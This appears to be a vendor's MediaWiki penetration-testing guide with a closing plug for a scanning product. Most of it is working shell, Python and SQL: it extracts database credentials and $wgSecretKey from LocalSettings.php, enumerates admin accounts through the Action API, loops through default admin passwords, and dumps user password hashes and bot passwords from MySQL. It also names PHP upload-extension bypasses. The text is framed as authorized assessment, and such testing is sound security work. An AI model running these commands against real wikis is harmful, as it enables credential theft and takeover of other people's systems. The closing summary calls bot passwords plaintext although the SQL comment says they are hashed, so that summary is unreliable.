MediaWiki is the world's most widely deployed wiki platform — used by Wikipedia, thousands of enterprise wikis, and government knowledge bases. Key assessment areas: LocalSettings.php exposes MySQL credentials and $wgSecretKey used for authentication token signing and CSRF protection; admin credentials are frequently weak at Special:UserLogin; the Action API (/api.php) allows bulk user enumeration and content export; and file upload functionality may allow PHP execution via alternate extensions. This guide covers systematic MediaWiki security assessment.
# MediaWiki — LocalSettings.php MySQL credential and wgSecretKey extraction
MW_URL="https://wiki.example.com"
# LocalSettings.php — MediaWiki main configuration (CRITICAL)
cat /var/www/mediawiki/LocalSettings.php 2>/dev/null
# $wgDBserver = "localhost";
# $wgDBname = "wiki";
# $wgDBuser = "wiki";
# $wgDBpassword = "..."; <-- MySQL database password
# $wgSecretKey = "..."; <-- 64-char hex; signs login tokens and CSRF tokens
# $wgUpgradeKey = "..."; <-- used for /mw-config/ upgrade access
python3 -c "
import re
content = open('/var/www/mediawiki/LocalSettings.php').read()
patterns = {
'wgDBpassword': r'\\\$wgDBpassword\s*=\s*\"([^\"]+)\"',
'wgSecretKey': r'\\\$wgSecretKey\s*=\s*\"([a-f0-9]{64})\"',
'wgUpgradeKey': r'\\\$wgUpgradeKey\s*=\s*\"([^\"]+)\"',
'wgDBname': r'\\\$wgDBname\s*=\s*\"([^\"]+)\"',
'wgDBuser': r'\\\$wgDBuser\s*=\s*\"([^\"]+)\"',
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null
# Check LocalSettings.php web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MW_URL}/LocalSettings.php" 2>/dev/null)
echo "LocalSettings.php: HTTP ${STATUS}"
# MediaWiki version disclosure
curl -s "${MW_URL}/api.php?action=query&meta=siteinfo&siprop=general&format=json" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('query',{}).get('general',{}).get('generator',''))" 2>/dev/null
# mw-config upgrade interface (accessible with wgUpgradeKey)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MW_URL}/mw-config/" 2>/dev/null)
echo "mw-config: HTTP ${STATUS}"
# MediaWiki Action API — user enumeration and admin credential assessment
MW_URL="https://wiki.example.com"
# MediaWiki Action API — enumerate all users without authentication
curl -s "${MW_URL}/api.php?action=query&list=allusers&aulimit=50&format=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('query',{}).get('allusers',[])
print(f'Total visible: {len(users)}')
for u in users[:10]:
print(f' id={u.get(\"userid\")} name={u.get(\"name\")}')
" 2>/dev/null
# Enumerate users with sysop (admin) group membership
curl -s "${MW_URL}/api.php?action=query&list=allusers&augroup=sysop&aulimit=50&format=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d.get('query',{}).get('allusers',[]):
print(f' Admin: {u.get(\"name\")} (id={u.get(\"userid\")})')
" 2>/dev/null
# Test admin login via Action API
for CRED in "Admin:admin" "Admin:password" "WikiAdmin:admin" "Sysop:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get login token
TOKEN=$(curl -s "${MW_URL}/api.php?action=query&meta=tokens&type=login&format=json" \
-c /tmp/mw_c 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('query',{}).get('tokens',{}).get('logintoken',''))" 2>/dev/null)
RESULT=$(curl -s -X POST "${MW_URL}/api.php" \
-d "action=login&lgname=${USER}&lgpassword=${PASS}&lgtoken=${TOKEN}&format=json" \
-c /tmp/mw_c -b /tmp/mw_c 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('login',{}).get('result',''))" 2>/dev/null)
echo "${USER}/${PASS}: ${RESULT}"
done
# Bot passwords — list registered bot passwords (if any)
curl -s "${MW_URL}/api.php?action=query&list=allpages&apnamespace=0&aplimit=10&format=json" \
-b /tmp/mw_c 2>/dev/null | head -3
# MediaWiki MySQL database and content export assessment
MW_URL="https://wiki.example.com"
DB_PASS="extracted-db-password"
# Special:Export — bulk content export without authentication
# Export all pages in a namespace
curl -s -X POST "${MW_URL}/index.php?title=Special:Export" \
-d "pages=Main_Page&action=submit&curonly=1" 2>/dev/null | head -30
# Export via API (programmatic)
curl -s "${MW_URL}/api.php?action=export&titles=Main_Page|Help:Contents&format=json" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('export',{}).get('*','')[:500])" 2>/dev/null
# File upload — test for PHP extension bypass
# (In authorized testing — attempt to upload PHP file with alternate extension)
# MediaWiki blocks .php by default but may allow .php5, .phtml, .phar
# Check $wgFileExtensions in LocalSettings.php
mysql -u wiki -p"${DB_PASS}" wiki 2>/dev/null << 'EOF'
-- MediaWiki users with password hashes
SELECT u.user_id, u.user_name, u.user_email,
u.user_password, -- SHA-512+salt or PBKDF2 format
u.user_registration, u.user_editcount
FROM user u
ORDER BY u.user_id
LIMIT 20;
-- password format: :B:salt:hash (MW < 1.24), :pbkdf2:sha512:... (MW 1.24+)
-- Users with sysop (admin) group
SELECT u.user_name, u.user_email, ug.ug_group
FROM user u
JOIN user_groups ug ON u.user_id = ug.ug_user
WHERE ug.ug_group IN ('sysop', 'bureaucrat', 'interface-admin')
ORDER BY ug.ug_group;
-- Bot passwords (persistent API tokens for bots)
SELECT bp.bp_user, bp.bp_app_id, bp.bp_password,
u.user_name
FROM bot_passwords bp
JOIN user u ON bp.bp_user = u.user_id
LIMIT 20;
-- bp_password: hashed password for bot@appid login
-- Recent uploads (identify what files are stored)
SELECT il.il_name, img.img_user_text, img.img_size,
img.img_minor_mime, img.img_timestamp
FROM image img
JOIN imagelinks il ON img.img_name = il.il_to
ORDER BY img.img_timestamp DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| LocalSettings.php MySQL password and wgSecretKey extraction | Read /var/www/mediawiki/LocalSettings.php — database credentials; wgSecretKey enables login token and CSRF token forgery for any user account | Critical |
| Action API unauthenticated user enumeration via list=allusers | GET /api.php?action=query&list=allusers — all registered usernames and IDs; augroup=sysop reveals admin accounts for targeted credential attacks | Medium |
| Admin credential brute-force (Admin/admin, Sysop/admin) | POST /api.php action=login — sysop session; full wiki administration, page deletion, user management, extension management | High |
| user table PBKDF2 and legacy SHA-512 password hash extraction | MySQL SELECT user_password FROM user — all user credential hashes; legacy :B:salt:MD5 hashes crack faster | High |
| Special:Export unauthenticated bulk content export | POST /index.php?title=Special:Export — full wikitext of all pages including deleted revisions; confidential internal documentation exfiltration | Medium |
Ironimo tests MediaWiki deployments for LocalSettings.php MySQL wgDBpassword and wgSecretKey web exposure, mw-config/ upgrade interface accessibility, Action API unauthenticated user enumeration (list=allusers) with sysop group filtering, Admin/admin and Sysop/admin credential brute-force via API login, user table PBKDF2:sha512 and legacy MD5 password hash extraction, bot_passwords plaintext bot credential extraction, Special:Export unauthenticated page export, file upload PHP extension bypass assessment (.php5, .phtml, .phar), wgUploadPath PHP execution protection verification, and MediaWiki version disclosure via siteinfo API for CVE targeting.
Start free scan